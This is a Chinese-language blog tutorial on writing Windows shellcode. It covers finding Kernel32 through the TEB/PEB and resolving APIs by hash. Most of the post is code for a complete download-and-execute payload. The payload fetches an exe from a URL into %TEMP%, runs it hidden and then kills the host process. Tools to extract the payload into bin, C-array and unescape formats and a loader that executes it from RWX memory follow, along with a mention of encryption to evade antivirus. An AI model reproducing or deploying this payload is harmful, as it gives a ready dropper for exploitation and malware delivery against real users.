Shellcode

Shellcode初探

Shellcode是一段独立执行的代码,在触发缓冲区溢出漏洞并获取eip指针后,将eip指针指向Shellcode以完成漏洞利用过程。Shellcode是漏洞利用的必备要素,可以通过Shellcode近下定位来辅助回溯漏洞原理并确定漏洞特征。

结构

存在形式为一段可以自主运行的汇编代码。通过主动查看DLL基址并动态获取其他API地址的方式来实现API调用,然后根据实际功能调用相应的API函数来完成自身的功能。

基本模块

基本模块用于实现Shellcode 初始运行、获取Kernel32基址及获取API地址的过程。

获取Kernel32基址

这里使用TEB查找法动态获取Kernel32.dll基址。原理:在NT内核系统中,fs寄存器指向TEB结构,TEB+0x30偏移处指向PEB结构,PEB+0x0c偏移处指向PEB_LDR_DATA结构,PEB_LD_DATA+0x1c偏移处存放着程序加载的动态链接库地址,第1个指向Ntdll.dll,第2个是Kernel32.dll的基地址。如下图所示

用程序实现这个过程,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <windows.h>
#include <stdio.h>
#include "stdafx.h"

int main(int argc, char* argv[])
{
DWORD hKernel32 = 0;
__asm
{
//assume fs:nothing
mov eax, fs:[30h]
test eax, eax
js os_9x
os_nt:
mov eax, dword ptr[eax+0ch]
mov esi, dword ptr[eax+1ch]
lodsd
mov eax, dword ptr[eax+8]
jmp k_finished
os_9x:
mov eax, dword ptr[eax+34h]
mov eax, dword ptr[eax+7ch]
mov eax, dword ptr[eax+3ch]
k_finished:
mov hKernel32, eax ;kernel32地址

}
printf("hKernel32 = %x\n",hKernel32);
return 0;
}

如下运行得到Kernnel32的地址

获取API地址

找到DLL基址后,去获取里面的API地址,步骤如下

  1. DLL基址+3ch偏移处获取e_ifanew地址,找到PE文件头
  2. 在PE文件头的78h偏移处得到函数导出表地址
  3. 在导出表的1ch偏移处获取AddressOfFuctions的地址,在导出表的20h偏移处获取AdressOfName的地址,24h偏移处获取AddressOfOrdinalse的地址。
  4. AddressOfFuctions函数地址数组和AdressOfName函数名数组通过函数AddressOfOrdinalse一一对应

为了直接使用明文获取函数名称,这里使用将要调用的函数名称使用Hash算法转换为4字节的Hash值。在得到Kernel32里的两个重要API的地址(LoadlibraryGetProcessAddress),通过前面两个函数就可以获取任意DLL中的API地址。

功能模块

功能模块就是实现漏洞利用目的的那部分Shellcode。下面为几种常见功能

下载执行

其功能就是从指定的URL下载一个exe文件,工作流程如下图所示

捆绑

将捆绑在样本自身上的exe数据释放到指定目录下并运行

反弹shell

多用于溢出漏洞,实施攻击后获取一个远程shell以执行任意命令

Shellcode编写

这里编写一个具有下载执行功能的Shellcode,如下使用C语言的内联汇编格式来编写

1
2
3
4
5
6
7
8
9
10
11
12
#include "stdafx.h"

int main(int argc,int* argv[])
{
_asm
{
//在这里编写汇编语句
}
/////
}

}

代码编写

编写基本模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sc_start:
//shellcode在这里编写

/*
* shellcode 基本模块
* 第一步:查找Kernel32基址
*
*/
xor ecx, ecx
mov ecx, dword ptr fs:[30h]
mov ecx, dword ptr [ecx+0Ch]
mov esi, dword ptr [ecx+1Ch]
sc_goonKernel:
mov eax, dword ptr [esi+8]
mov ebx, dword ptr [esi+20h]
mov esi, dword ptr [esi]
cmp dword ptr [ebx+0Ch], 320033h;判断名称中字符32的unicode
jnz sc_goonKernel

mov ebx, eax ;获取kernel32地址

上面获取到Kernel32基址获取部分,接下来就是查找API的子函数部分(Hash值查找法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
		/*
* shellcode 基本模块
* 查找API地址
*
*/
FindApi:
push ecx
push ebp
mov esi, dword ptr [ebx+3Ch] // e_lfanew
mov esi, dword ptr [esi+ebx+78h]// EATAddr
add esi, ebx
push esi
mov esi, dword ptr [esi+20h] //AddressOfNames
add esi, ebx
xor ecx, ecx
dec ecx

Find_Loop:
inc ecx
lods dword ptr [esi]
add eax, ebx
xor ebp, ebp
//计算hash值
Hash_Loop:
movsx edx, byte ptr [eax]
cmp dl, dh
je hash_OK
ror ebp, 7
add ebp, edx
inc eax
jmp Hash_Loop

hash_OK:
//判断hash值是否相等
cmp ebp, dword ptr [edi]
jnz Find_Loop

pop esi
mov ebp, dword ptr [esi+24h] //Ordinal Table
add ebp, ebx
mov cx, word ptr [ebp+ecx*2]
mov ebp, dword ptr [esi+1Ch] //Address Table
add ebp, ebx
mov eax, dword ptr [ebp+ecx*4]
add eax, ebx
stos dword ptr es:[edi]
pop ebp
pop ecx
retn

最后添加API获取流程,下载执行的主功能函数URLDownloadToFile在Urlmon.dll中,要先通过LoadLibrary函数来加载Urlmon.dll,在获取该API的地址,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
*	第二步:查找API地址	
*
*/
jmp DataArea
backToMain:
pop ebp //捆绑数据地址


//获取Kernel32中API的地址
//ebx赋值dll基址
//edi赋值hash值地址
//ecx赋值API数量
mov edi, ebp
mov ecx, 07h
FindApi_loop:
call FindApi //循环查找API地址
loop FindApi_loop

//调用LoadLibraryA加载urlmon
push 6e6fh
push 6d6c7275h
mov eax, esp
push eax
call dword ptr[ebp] //Kernel32.LoadLibrary
mov ebx, eax
pop eax
pop eax //平衡栈

//获取urlmon中API的地址
call FindApi

功能模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
/*
* shellcode 功能模块
* 第一步:下载路径设置
*
*/
//申请空间存放文件路径
push 40h
push 1000h
push 100h //申请空间大小
push 0
call dword ptr [ebp+04h] // kernel32.VirtualAlloc
mov dword ptr [ebp+20h], eax
//获取临时文件夹路径
push eax
push 100h
call dword ptr [ebp+0ch]//Kernel32.GetTempPathA
//设置临时exe文件路径
//%TEMP%\test.exe
mov ecx, dword ptr[ebp+20h]
add ecx, eax
mov dword ptr[ecx], 74736574h
mov dword ptr[ecx+4], 6578652eh
mov dword ptr[ecx+8], 0
/*
* shellcode 功能模块
* 第二步:下载文件URLDownloadToFile
*
*/
try_Download:
push 0
push 0
push dword ptr[ebp+20h]//exe路径
lea eax, dword ptr[ebp+24h]//URL
push eax
push 0
call dword ptr[ebp+1ch]//urlmon.URLDowanloadToFileA
test eax, eax
jz Download_OK
push 30000//休眠30秒重试
call dword ptr[ebp+14h]//Kernel32.Sleep
jmp try_Download
/*
* shellcode 功能模块
* 第三步:运行文件WinExec
*
*/
Download_OK:
push SW_HIDE
push dword ptr[ebp+20h]
call dword ptr[ebp+10h]//Kernel32.WinExec

push 08000h
push 00h
push dword ptr [ebp+20h]
call dword ptr [ebp+08h]//kernel32.VirtualFree

push 0
push 0FFFFFFFFh
call dword ptr[ebp+18h]//Kernel32.TerminateProcess

shellcode提取

Shellcode可以独立运行,可以利用C++代码读取内联汇编区域所对应的内存数据,将其存储为指定的数据格式。下面的代码可以将Shellcode字典提取为bin、C数组和unescape这3中数据格式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
getShellcode:
_asm
{
mov scStart, offset sc_start
mov scEnd, offset sc_end
}
DWORD scLen = scEnd - scStart;
char Datas[] =
"\x32\x74\x91\x0c" //ebp,Kernel32.LoadLibraryA
"\x67\x59\xde\x1e" //ebp+4,Kernel32.VirtualAlloc
"\x05\xaa\x44\x61" //ebp+8,Kernel32.VirtualFree
"\x39\xe2\x7D\x83" //ebp+0ch,Kernel32.GetTempPathA
"\x51\x2f\xa2\x01" //ebp+10h,Kernel32.WinExec
"\xa0\x65\x97\xcb" //ebp+14h,Kernel32.Sleep
"\x8f\xf2\x18\x61" //ebp+18h,Kernel32.TerminateProcess
"\x80\xd6\xaf\x9a" //ebp+1ch,Urlmon.URLDownloadToFileA
"\x00\x00\x00\x00" //ebp+20h,变量空间
"http://127.0.0.1/calc.exe"//ebp+24h,设置下载地址
"\x00\x00";

int newscBuff_length = scLen+sizeof(Datas);
unsigned char *newscBuff = new unsigned char[newscBuff_length];

memset(newscBuff,0x00,newscBuff_length);
memcpy(newscBuff,(unsigned char *)scStart,scLen);
memcpy((unsigned char *)(newscBuff+scLen),Datas,sizeof(Datas));
int i=0;
unsigned char xxx;
for (i = 0;i < newscBuff_length; i++)
{
xxx = ((unsigned char *)newscBuff)[i];
xxx = xxx ^ 0x00;
newscBuff[i] = xxx;
}

FILE *fp = fopen("./shellcode_bin.bin","wb+");
fwrite(newscBuff,newscBuff_length,1,fp);
fclose(fp);

FILE *fp_cpp = fopen("./shellcode_cpp.cpp","wb+");
fwrite("unsigned char sc[] = {",22,1,fp_cpp);
for (i=0;i<newscBuff_length;i++)
{
if (i%16==0)
{
fwrite("\r\n",2,1,fp_cpp);
}
fprintf(fp_cpp,"0x%02x,",newscBuff[i]);
}
fwrite("};",2,1,fp_cpp);
fclose(fp_cpp);

FILE *fp_unicode = fopen("./shellcode_unescape.txt","wb+");
for(i = 0; i < newscBuff_length; i += 2)
{
fprintf(fp_unicode,"%%u%02x%02x",newscBuff[i+1],newscBuff[i]);
}
fclose(fp_unicode);
printf("Hello World!\n");
return 0;
}

调试

要直接调试从样本中提取出来的bin文件,需要自己写一个ShellcodeLoader,以便加载bin文件进行调试。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include "stdafx.h"
#include <Windows.h>

int main(int argc,int* argv[])
{
HANDLE fp;
unsigned char* fBuffer;
DWORD fsize,dwsize;
fp = CreateFile("Shellcode_bin.bin",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
fsize = GetFileSize(fp,0);
fBuffer = (unsigned char *)VirtualAlloc(NULL,fsize,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
ReadFile(fp,fBuffer,fsize,&dwsize,0);
CloseHandle(fp);
_asm
{
pushad
mov eax, fBuffer
call eax
popad
}
printf("Hello World!!\n");
return 0;
}

变形

格式变化

在不同的样本中,由于数据处理格式不同,可能出现unescape格式、HexToAscii格式和其他语言格式

字符串化

原始Shellcode难免会有非可见字符或者休止符的出现,需对其进行字符串化变形

加密

使用加密算法来实现免杀和提高分析难度

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信